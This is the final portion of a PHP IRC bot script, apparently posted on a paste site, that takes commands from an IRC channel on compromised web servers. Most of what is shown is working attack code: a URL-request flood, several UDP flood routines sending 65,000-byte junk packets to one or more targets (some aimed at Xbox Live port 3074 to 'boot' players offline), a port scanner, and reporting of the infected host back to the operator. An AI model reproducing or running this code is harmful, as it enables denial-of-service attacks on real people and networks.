  2074.  
  2075.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  2076.  
  2077.                                      $this->privmsg($this->ffff_you( ),"$leetprefix $blue Port Scan $leetsuffixred : $red ".$mcmd[1].":".$mcmd[2]." $blue is OPEN !");
  2078.  
  2079.                                   else
  2080.  
  2081.                                      $this->privmsg($this->ffff_you( ),"$leetprefix $blue Port Scan $leetsuffixred : $blue ".$mcmd[1].":".$mcmd[2]." $red is CLOSED !");
  2082.  
  2083.                                       break;
  2084.  
  2085.                                }
  2086.  
  2087.                                             case "software":
  2088.  
  2089.                                             {
  2090.  
  2091.                                                 $this->privmsg( $this->ffff_you( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
  2092.  
  2093.                                                 break;
  2094.  
  2095.                                             }
  2096.  
  2097.                                             case "site123":
  2098.  
  2099.                                             {
  2100.  
  2101.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  2102.  
  2103.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2104.  
  2105.                                                 $red = $this->config['yellow'];
  2106.  
  2107.                                                 $blue = $this->config['blue'];
  2108.  
  2109.                                                 $ipzzz = ( $_SERVER["HTTP_HOST"] );
  2110.  
  2111.                                                 $this->privmsg( $this->ffff_you( ), "$blue This bot is running on $leetprefixwhite $red $ipzzz $leetsuffixwhite" );
  2112.  
  2113.                                                 break;
  2114.  
  2115.                                             }
  2116.  
  2117.                                             case "randnick":
  2118.  
  2119.                                             {
  2120.  
  2121.                                                 $this->set_nick();
  2122.  
  2123.                                                 break;
  2124.  
  2125.                                             }
  2126.  
  2127.                                             case "logout":
  2128.  
  2129.                                             {
  2130.  
  2131.                                                 $logoutmsg = $this->messages['logoutmsg'];
  2132.  
  2133.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  2134.  
  2135.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2136.  
  2137.                                                 $red = $this->config['yellow'];
  2138.  
  2139.                                                 $part2 = $this->config['part2'];
  2140.  
  2141.                                                 $this->remove_auth( $host );
  2142.  
  2143.                                                 $this->privmsg( $this->ffff_you( ), "$logoutmsg $leetprefixwhite $red$nick $leetsuffixwhite $part2" );
  2144.  
  2145.                                                 break;
  2146.  
  2147.                                             }
  2148.  
  2149.                                             case "urlbomb":
  2150.  
  2151.                                             {
  2152.  
  2153.                                                 $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
  2154.  
  2155.                                                 break;
  2156.  
  2157.                                             }
  2158.  
  2159.                                             case "udpflood":
  2160.  
  2161.                                                 {
  2162.  
  2163.                                                    if( count( $mcmd ) > 3 )
  2164.  
  2165.                                                    {
  2166.  
  2167.                                                       $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  2168.  
  2169.                                                    }
  2170.  
  2171.                                                 }
  2172.  
  2173.                                             case "stop":
  2174.  
  2175.                                             {
  2176.  
  2177.                                             fclose($fp);
  2178.  
  2179.                                             break;
  2180.  
  2181.                                             }
  2182.  
  2183.                                             case "xblflood":
  2184.  
  2185.                                             {
  2186.  
  2187.                                                    if( count( $mcmd ) > 4 )
  2188.  
  2189.                                                    {;
  2190.  
  2191.                                                       $this->udpflood4($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
  2192.  
  2193.                                                    }
  2194.  
  2195.                                                 break;
  2196.  
  2197.                                             }
  2198.  
  2199.                                             case "speedtest":
  2200.  
  2201.                                             {
  2202.  
  2203.                                                       $this->udpflood3(hi,650000,5);
  2204.  
  2205.                                                 break;
  2206.  
  2207.                                             }
  2208.  
  2209.                                             case "2kidz":
  2210.  
  2211.                                             {
  2212.  
  2213.                                                       $this->udpflood5($mcmd[1],$mcmd[2]);
  2214.  
  2215.                                                 break;
  2216.  
  2217.                                             }
  2218.  
  2219.                                             case "3kidz":
  2220.  
  2221.                                             {
  2222.  
  2223.                                                       $this->udpflood7($mcmd[1],$mcmd[2],$mcmd[3]);
  2224.  
  2225.                                                 break;
  2226.  
  2227.                                             }
  2228.  
  2229.                                             case "4kidz":
  2230.  
  2231.                                             {
  2232.  
  2233.                                                       $this->udpflood6($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
  2234.  
  2235.                                                 break;
  2236.  
  2237.                                             }
  2238.  
  2239.                                                     case "quick":
  2240.  
  2241.                                             {
  2242.  
  2243.                                                    if( count( $mcmd ) > 1 )
  2244.  
  2245.                                                    {
  2246.  
  2247.                                                       $this->udpflood2($mcmd[1],65000,60);
  2248.  
  2249.                                                    }
  2250.  
  2251.                                                 break;
  2252.  
  2253.                                                 }
  2254.  
  2255.                                         }
  2256.  
  2257.                                     }
  2258.  
  2259.                                 }
  2260.  
  2261.                             break;
  2262.  
  2263.                         }
  2264.  
  2265.                     }
  2266.  
  2267.                 }
  2268.  
  2269.                 $old_buf = $this->buf;
  2270.  
  2271.             }
  2272.  
  2273.             $this->start();
  2274.  
  2275.         }
  2276.         function scanport( $host, $port )
  2277.  
  2278.         {
  2279.  
  2280.             if( fsockopen( $host, $port, $e, $s ) )
  2281.  
  2282.             {
  2283.  
  2284.                 return 1;
  2285.  
  2286.             }
  2287.  
  2288.             return 0;
  2289.  
  2290.         }
  2291.         function urlbomb( $host, $path, $times, $mode = 0 )
  2292.  
  2293.         {
  2294.  
  2295.             if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
  2296.  
  2297.                 return;
  2298.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2299.  
  2300.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2301.  
  2302.             $leetprefix = $this->config['leetprefix'];
  2303.  
  2304.             $leetsuffixred = $this->config['leetsuffixred'];
  2305.  
  2306.             $red = $this->config['yellow'];
  2307.  
  2308.             $blue = $this->config['blue'];
  2309.  
  2310.             $http = "http://";
  2311.  
  2312.             $this->privmsg( $this->ffff_you( ),"$leetprefixwhite $red URLbomb started! $leetsuffixwhite  on $red [ $blue ".$http."".$host."".$path." $red ]");
  2313.             $success = 0;
  2314.  
  2315.             for( $i = 0; $i < $times; $i++ )
  2316.  
  2317.             {
  2318.  
  2319.                 $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
  2320.  
  2321.                 if( $fp )
  2322.  
  2323.                 {
  2324.  
  2325.                     $out = "GET /".$path." HTTP/1.1\r\n";
  2326.  
  2327.                     $out .= "Host: ".$host."\r\n";
  2328.  
  2329.                     $out .= "Keep-Alive: 300\r\n";
  2330.  
  2331.                     $out .= "Connection: keep-alive\r\n\r\n";
  2332.  
  2333.                     fwrite( $fp, $out );
  2334.                     if( $mode != 0 )
  2335.  
  2336.                     {
  2337.  
  2338.                         while(!feof($fp)){/*do nothing*/}
  2339.  
  2340.                     }
  2341.                     fclose( $fp );
  2342.                     $success++;
  2343.  
  2344.                 }
  2345.  
  2346.             }
  2347.  
  2348.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2349.  
  2350.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2351.  
  2352.             $leetprefix = $this->config['leetprefix'];
  2353.  
  2354.             $leetsuffixred = $this->config['leetsuffixred'];
  2355.  
  2356.             $red = $this->config['yellow'];
  2357.  
  2358.             $blue = $this->config['blue'];
  2359.  
  2360.             $http = "http://";
  2361.  
  2362.             $this->privmsg( $this->ffff_you( ),"$leetprefixwhite $red URLbomb finished! $leetsuffixwhite $blue on $red [ $blue ".$http."".$host."".$path." $red ] $blue [$red Times Visited: $blue ".$success." $blue ]" );
  2363.  
  2364.         }
  2365.         function udpflood2( $host, $packetsize, $time )
  2366.  
  2367.         {
  2368.  
  2369.             $udpmsgfast = $this->messages['udpmsgfast'];
  2370.  
  2371.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2372.  
  2373.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2374.  
  2375.             $red = $this->config['yellow'];
  2376.  
  2377.             $blue = $this->config['yellow'];
  2378.  
  2379.             $this->privmsg( $this->ffff_you( ),"$udpmsgfast Started On $leetprefixwhite$red $host $leetsuffixwhite" );
  2380.  
  2381.             $packet = "";
  2382.  
  2383.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  2384.  
  2385.             $timei = time();
  2386.  
  2387.             $i = 0;
  2388.  
  2389.             while(time()-$timei < $time)
  2390.  
  2391.             {
  2392.  
  2393.                 $xboxlive = "3074";
  2394.  
  2395.                 $fp=fsockopen("udp://".$host,$xboxlive,$e,$s,5);
  2396.  
  2397.                 fwrite($fp,$packet);
  2398.  
  2399.                 fclose($fp);
  2400.  
  2401.                 $i++;
  2402.  
  2403.             }
  2404.  
  2405.             $env = $i * $packetsize;
  2406.  
  2407.             $env = $env / 1048576;
  2408.  
  2409.             $vel = $env / $time;
  2410.  
  2411.             $vel = round($vel);
  2412.  
  2413.             $env = round($env);
  2414.  
  2415.             $fag = "$udpmsgfast - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite";
  2416.  
  2417.             $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
  2418.  
  2419.             $this->ex('echo 1 >> cache.dat');
  2420.  
  2421.         }
  2422.     function udpflood3( $host, $packetsize, $time )
  2423.  
  2424.         {
  2425.  
  2426.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2427.  
  2428.             $speedtest = $this->messages['speedtest'];
  2429.  
  2430.             $speedtestfin = $this->messages['speedtestfin'];
  2431.  
  2432.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2433.  
  2434.             $red = $this->config['yellow'];
  2435.  
  2436.             $blue = $this->config['yellow'];
  2437.  
  2438.             $green = $this->config['green'];
  2439.  
  2440.             $part1 = $this->config['part1'];
  2441.  
  2442.             $part2 = $this->config['part2'];
  2443.  
  2444.             $this->privmsg( $this->ffff_you( ),"$part1$red The Speedtest Has been Started.... $part2 - $blue Please Wait......" );
  2445.  
  2446.             $packet = "";
  2447.  
  2448.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  2449.  
  2450.             $timei = time();
  2451.  
  2452.             $i = 0;
  2453.  
  2454.             while(time()-$timei < $time)
  2455.  
  2456.             {
  2457.  
  2458.                 $xboxlive = "3074";
  2459.  
  2460.                 $fp=fsockopen("udp://".$host,$xboxlive,$e,$s,5);
  2461.  
  2462.                 fwrite($fp,$packet);
  2463.  
  2464.                 fclose($fp);
  2465.  
  2466.                 $i++;
  2467.  
  2468.             }
  2469.  
  2470.             $env = $i * $packetsize;
  2471.  
  2472.             $env = $env / 1048576;
  2473.  
  2474.             $vel = $env / $time;
  2475.  
  2476.             $vel = round($vel);
  2477.  
  2478.             $env = round($env);
  2479.  
  2480.             $red = $this->config['yellow'];
  2481.  
  2482.             $part1 = $this->config['part1'];
  2483.  
  2484.             $part2 = $this->config['part2'];
  2485.  
  2486.             $blue = $this->config['yellow'];
  2487.  
  2488.             $fag = "$part1$red The Speedtest Is Complete. $part2 - $blue This Bot Hits At".$red." $vel MegaBytes/Second";
  2489.  
  2490.             $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
  2491.  
  2492.             $this->ex('echo 1 >> cache.dat');
  2493.  
  2494.         }
  2495.     function udpflood5( $host, $crack )
  2496.  
  2497.         {
  2498.  
  2499.             $packetsize = "65000";
  2500.  
  2501.             $time = "60";
  2502.  
  2503.             $port = "3074";
  2504.  
  2505.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2506.  
  2507.             $speedtest = $this->messages['speedtest'];
  2508.  
  2509.             $speedtestfin = $this->messages['speedtestfin'];
  2510.  
  2511.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2512.  
  2513.             $red = $this->config['yellow'];
  2514.  
  2515.             $blue = $this->config['yellow'];
  2516.  
  2517.             $green = $this->config['green'];
  2518.  
  2519.             $part1 = $this->config['part1'];
  2520.  
  2521.             $part2 = $this->config['part2'];
  2522.  
  2523.             $this->privmsg( $this->ffff_you( ),"$part1$red TwO PlayeR DDoS $part2 - $blue Booting $host and $crack! Attacking on port $port" );
  2524.  
  2525.             $packet = "";
  2526.  
  2527.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  2528.  
  2529.             $timei = time();
  2530.  
  2531.             $i = 0;
  2532.  
  2533.             while(time()-$timei < $time)
  2534.  
  2535.             {
  2536.  
  2537.                 $port = "3074";
  2538.  
  2539.                 $fp=fsockopen("udp://".$host,$port,$e,$s,5);
  2540.  
  2541.                 $fp2=fsockopen("udp://".$crack,$port,$e,$s,5);
  2542.  
  2543.                 fwrite($fp,$packet);
  2544.  
  2545.                 fwrite($fp2,$packet);
  2546.  
  2547.                 fclose($fp);
  2548.  
  2549.                 fclose($fp2);
  2550.  
  2551.                 $i++;
  2552.  
  2553.             }
  2554.  
  2555.             $env = $i * $packetsize;
  2556.  
  2557.             $env = $env / 1048576;
  2558.  
  2559.             $vel = $env / $time;
  2560.  
  2561.             $vel = round($vel);
  2562.  
  2563.             $env = round($env);
  2564.  
  2565.             $red = $this->config['yellow'];
  2566.  
  2567.             $part1 = $this->config['part1'];
  2568.  
  2569.             $part2 = $this->config['part2'];
  2570.  
  2571.             $blue = $this->config['yellow'];
  2572.  
  2573.             $fag = "$part1$red TwO PlayeR DDoS! $part2 - $blue $host and $crack are offline! ".$red." $vel MegaBytes/Second";
  2574.  
  2575.             $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
  2576.  
  2577.             $this->ex('echo 1 >> cache.dat');
  2578.  
  2579.         }
  2580.     function udpflood6( $host, $crack, $herion, $coke )
  2581.  
  2582.         {
  2583.  
  2584.             $packetsize = "65000";
  2585.  
  2586.             $time = "60";
  2587.  
  2588.             $port = "3074";
  2589.  
  2590.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2591.  
  2592.             $speedtest = $this->messages['speedtest'];
  2593.  
  2594.             $speedtestfin = $this->messages['speedtestfin'];
  2595.  
  2596.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2597.  
  2598.             $red = $this->config['yellow'];
  2599.  
  2600.             $blue = $this->config['yellow'];
  2601.  
  2602.             $green = $this->config['green'];
  2603.  
  2604.             $part1 = $this->config['part1'];
  2605.  
  2606.             $part2 = $this->config['part2'];
  2607.  
  2608.             $this->privmsg( $this->ffff_you( ),"$part1$red 4 Player DDoS! $part2 - $blue Booting $host, $crack, $herion, and $coke! Attacking on port $port" );
  2609.  
  2610.             $packet = "";
  2611.  
  2612.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  2613.  
  2614.             $timei = time();
  2615.  
  2616.             $i = 0;
  2617.  
  2618.             while(time()-$timei < $time)
  2619.  
  2620.             {
  2621.  
  2622.                 $port = "3074";
  2623.  
  2624.                 $fp=fsockopen("udp://".$host,$port,$e,$s,5);
  2625.  
  2626.                 $fp2=fsockopen("udp://".$crack,$port,$e,$s,5);
  2627.  
  2628.                 $fp3=fsockopen("udp://".$herion,$port,$e,$s,5);
  2629.  
  2630.                 $fp4=fsockopen("udp://".$coke,$port,$e,$s,5);
  2631.  
  2632.                 fwrite($fp,$packet);
  2633.  
  2634.                 fwrite($fp2,$packet);
  2635.  
  2636.                 fwrite($fp3,$packet);
  2637.  
  2638.                 fwrite($fp4,$packet);
  2639.  
  2640.                 fclose($fp);
  2641.  
  2642.                 fclose($fp2);
  2643.  
  2644.                 fclose($fp3);
  2645.  
  2646.                 fclose($fp4);
  2647.  
  2648.                 $i++;
  2649.  
  2650.             }
  2651.  
  2652.             $env = $i * $packetsize;
  2653.  
  2654.             $env = $env / 1048576;
  2655.  
  2656.             $vel = $env / $time;
  2657.  
  2658.             $vel = round($vel);
  2659.  
  2660.             $env = round($env);
  2661.  
  2662.             $red = $this->config['yellow'];
  2663.  
  2664.             $part1 = $this->config['part1'];
  2665.  
  2666.             $part2 = $this->config['part2'];
  2667.  
  2668.             $blue = $this->config['yellow'];
  2669.  
  2670.             $fag = "$part1$red 4 Player DDoS CompletE! $part2 - $blue $host, $crack, $herion, and $coke are ALL offline! ".$red." $vel MegaBytes/Second";
  2671.  
  2672.             $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
  2673.  
  2674.             $this->ex('echo 1 >> cache.dat');
  2675.  
  2676.         }
  2677.     function udpflood7( $stoner, $allalone, $daynnite )
  2678.  
  2679.         {
  2680.  
  2681.             $packetsize = "65000";
  2682.  
  2683.             $time = "60";
  2684.  
  2685.             $port = "3074";
  2686.  
  2687.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2688.  
  2689.             $speedtest = $this->messages['speedtest'];
  2690.  
  2691.             $speedtestfin = $this->messages['speedtestfin'];
  2692.  
  2693.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2694.  
  2695.             $red = $this->config['yellow'];
  2696.  
  2697.             $blue = $this->config['yellow'];
  2698.  
  2699.             $green = $this->config['green'];
  2700.  
  2701.             $part1 = $this->config['part1'];
  2702.  
  2703.             $part2 = $this->config['part2'];
  2704.  
  2705.             $this->privmsg( $this->ffff_you( ),"$part1$red 3 Player DDoS! $part2 - $blue Booting $stoner, $allalone, and $daynnite! Attacking on port $port" );
  2706.  
  2707.             $packet = "";
  2708.  
  2709.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  2710.  
  2711.             $timei = time();
  2712.  
  2713.             $i = 0;
  2714.  
  2715.             while(time()-$timei < $time)
  2716.  
  2717.             {
  2718.  
  2719.                 $port = "3074";
  2720.  
  2721.                 $fp2=fsockopen("udp://".$stoner,$port,$e,$s,5);
  2722.  
  2723.                 $fp3=fsockopen("udp://".$allalone,$port,$e,$s,5);
  2724.  
  2725.                 $fp4=fsockopen("udp://".$daynnite,$port,$e,$s,5);
  2726.  
  2727.                 fwrite($fp2,$packet);
  2728.  
  2729.                 fwrite($fp3,$packet);
  2730.  
  2731.                 fwrite($fp4,$packet);
  2732.  
  2733.                 fclose($fp2);
  2734.  
  2735.                 fclose($fp3);
  2736.  
  2737.                 fclose($fp4);
  2738.  
  2739.                 $i++;
  2740.  
  2741.             }
  2742.  
  2743.             $env = $i * $packetsize;
  2744.  
  2745.             $env = $env / 1048576;
  2746.  
  2747.             $vel = $env / $time;
  2748.  
  2749.             $vel = round($vel);
  2750.  
  2751.             $env = round($env);
  2752.  
  2753.             $red = $this->config['yellow'];
  2754.  
  2755.             $part1 = $this->config['part1'];
  2756.  
  2757.             $part2 = $this->config['part2'];
  2758.  
  2759.             $blue = $this->config['yellow'];
  2760.  
  2761.             $fag = "$part1$red 3 Player DDoS CompletE! $part2 - $blue $stoner, $allalone, and $daynnite are now offline offline! ".$red." $vel MegaBytes/Second";
  2762.  
  2763.             $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
  2764.  
  2765.             $this->ex('echo 1 >> cache.dat');
  2766.  
  2767.         }
  2768.         function udpflood( $host, $packetsize, $time )
  2769.  
  2770.         {
  2771.  
  2772.             $udpmsg = $this->messages['udpmsg'];
  2773.  
  2774.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2775.  
  2776.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2777.  
  2778.             $red = $this->config['yellow'];
  2779.  
  2780.             $blue = $this->config['yellow'];
  2781.  
  2782.             $this->privmsg( $this->ffff_you( ),"$udpmsg Started On $leetprefixwhite$red $host $leetsuffixwhite for $leetprefixwhite$red $time Seconds $leetsuffixwhite$red With $leetprefixwhite$red $packetsize Packets $leetsuffixwhite" );
  2783.  
  2784.             $packet = "";
  2785.  
  2786.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  2787.  
  2788.             $timei = time();
  2789.  
  2790.             $i = 0;
  2791.  
  2792.             while(time()-$timei < $time)
  2793.  
  2794.             {
  2795.  
  2796.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  2797.  
  2798.                 fwrite($fp,$packet);
  2799.  
  2800.                 fclose($fp);
  2801.  
  2802.                 $i++;
  2803.  
  2804.             }
  2805.  
  2806.             $env = $i * $packetsize;
  2807.  
  2808.             $env = $env / 1048576;
  2809.  
  2810.             $vel = $env / $time;
  2811.  
  2812.             $vel = round($vel);
  2813.  
  2814.             $env = round($env);
  2815.  
  2816.             $fag = "$udpmsg - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite";
  2817.  
  2818.             $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
  2819.  
  2820.             $this->ex('echo 1 >> cache.dat');
  2821.  
  2822.         }
  2823.         function udpflood4( $host, $packetsize, $time, $port )
  2824.  
  2825.         {
  2826.  
  2827.             $udpmsg = $this->messages['udpmsg'];
  2828.  
  2829.             $leetprefixwhite = $this->config['leetprefixwhite'];
  2830.  
  2831.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  2832.  
  2833.             $red = $this->config['yellow'];
  2834.  
  2835.             $blue = $this->config['yellow'];
  2836.  
  2837.             $this->privmsg( $this->ffff_you( ),"$udpmsg Started On $leetprefixwhite$red $host $leetsuffixwhite for $leetprefixwhite$red $time Seconds $leetsuffixwhite$red With $leetprefixwhite$red $packetsize Packets $leetsuffixwhite$red On port $leetprefixwhite$red $port $leetsuffixwhite" );
  2838.  
  2839.             $packet = "";
  2840.  
  2841.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  2842.  
  2843.             $timei = time();
  2844.  
  2845.             $i = 0;
  2846.  
  2847.             while(time()-$timei < $time)
  2848.  
  2849.             {
  2850.  
  2851.                 $fp=fsockopen("udp://".$host,$port,$e,$s,5);
  2852.  
  2853.                 fwrite($fp,$packet);
  2854.  
  2855.                 fclose($fp);
  2856.  
  2857.                 $i++;
  2858.  
  2859.             }
  2860.  
  2861.             $env = $i * $packetsize;
  2862.  
  2863.             $env = $env / 1048576;
  2864.  
  2865.             $vel = $env / $time;
  2866.  
  2867.             $vel = round($vel);
  2868.  
  2869.             $env = round($env);
  2870.  
  2871.             $fag = "$udpmsg - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite On Port $leetprefixwhite$red $port $leetsuffixwhite";
  2872.  
  2873.             $this->privmsg( $this->ffff_you( ),"$fag$fag2" );
  2874.  
  2875.             $this->ex('echo 1 >> cache.dat');
  2876.  
  2877.         }
  2878.         function send($msg)
  2879.  
  2880.         {
  2881.  
  2882.             fwrite($this->conn,"$msg\r\n");
  2883.  
  2884.         }
  2885.         function join($chan,$key=NULL)
  2886.  
  2887.         {
  2888.  
  2889.             $this->send("JOIN $chan $key");
  2890.  
  2891.         }
  2892.         function privmsg($to,$msg)
  2893.  
  2894.         {
  2895.  
  2896.             $this->send("PRIVMSG $to :$msg");
  2897.  
  2898.         }
  2899.         function notice($to,$msg)
  2900.  
  2901.         {
  2902.  
  2903.             $this->send("NOTICE $to :$msg");
  2904.  
  2905.         }
  2906.          function set_nick()
  2907.  
  2908.          {
  2909.  
  2910.             $prefix .= "[RFI|";
  2911.  
  2912.             $random_number = "";
  2913.  
  2914.             for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
  2915.  
  2916.             {
  2917.  
  2918.                 $random_number .= mt_rand( 0, 9 );
  2919.  
  2920.             }
  2921.             $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
  2922.  
  2923.             $this->send("NICK ".$this->nick);
  2924.  
  2925.          }
  2926.  
  2927.          function busk_nick()
  2928.  
  2929.          {
  2930.  
  2931.             $prefix .= "[RooT|LinuX|";
  2932.  
  2933.             $random_number = "";
  2934.  
  2935.             for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
  2936.  
  2937.             {
  2938.  
  2939.                 $random_number .= mt_rand( 0, 9 );
  2940.  
  2941.             }
  2942.             $this->nick = sprintf( $prefix.$this->config[ 'nickform2' ], $random_number );
  2943.  
  2944.             $this->send("NICK ".$this->nick);
  2945.  
  2946.          }
  2947.  
  2948.          function nzm_nick()
  2949.  
  2950.          {
  2951.  
  2952.             $prefix .= "[USA|";
  2953.  
  2954.             $random_number = "";
  2955.  
  2956.             for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
  2957.  
  2958.             {
  2959.  
  2960.                 $random_number .= mt_rand( 0, 9 );
  2961.  
  2962.             }
  2963.  
  2964.             $ffffu = "$this->config[ 'prfix' ]";
  2965.  
  2966.             $this->nick = sprintf( $prefix.$this->config['prfix'], $random_number );
  2967.  
  2968.             $this->send("NICK ".$this->nick);
  2969.  
  2970.          }
  2971.         function parse_url_s( $url )
  2972.  
  2973.         {
  2974.  
  2975.             $URLpcs = ( parse_url( $url ) );
  2976.  
  2977.             $PathPcs = explode( "/", $URLpcs['path'] );
  2978.  
  2979.             $URLpcs['file'] = end( $PathPcs );
  2980.  
  2981.             unset( $PathPcs[ key( $PathPcs ) ] );
  2982.  
  2983.             $URLpcs['dir'] = implode("/",$PathPcs);
  2984.             $fileext = explode( '.', $URLpcs['file'] );
  2985.             if(count($fileext))
  2986.  
  2987.             {
  2988.  
  2989.                 $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
  2990.  
  2991.             }
  2992.             return ($URLpcs);
  2993.  
  2994.         }
  2995.  
  2996.     }
  2997.     $bot = new Mike_Unix;
  2998.  
  2999.     $bot->start();
  3000. ?>
Add Comment
Please, Sign In to add comment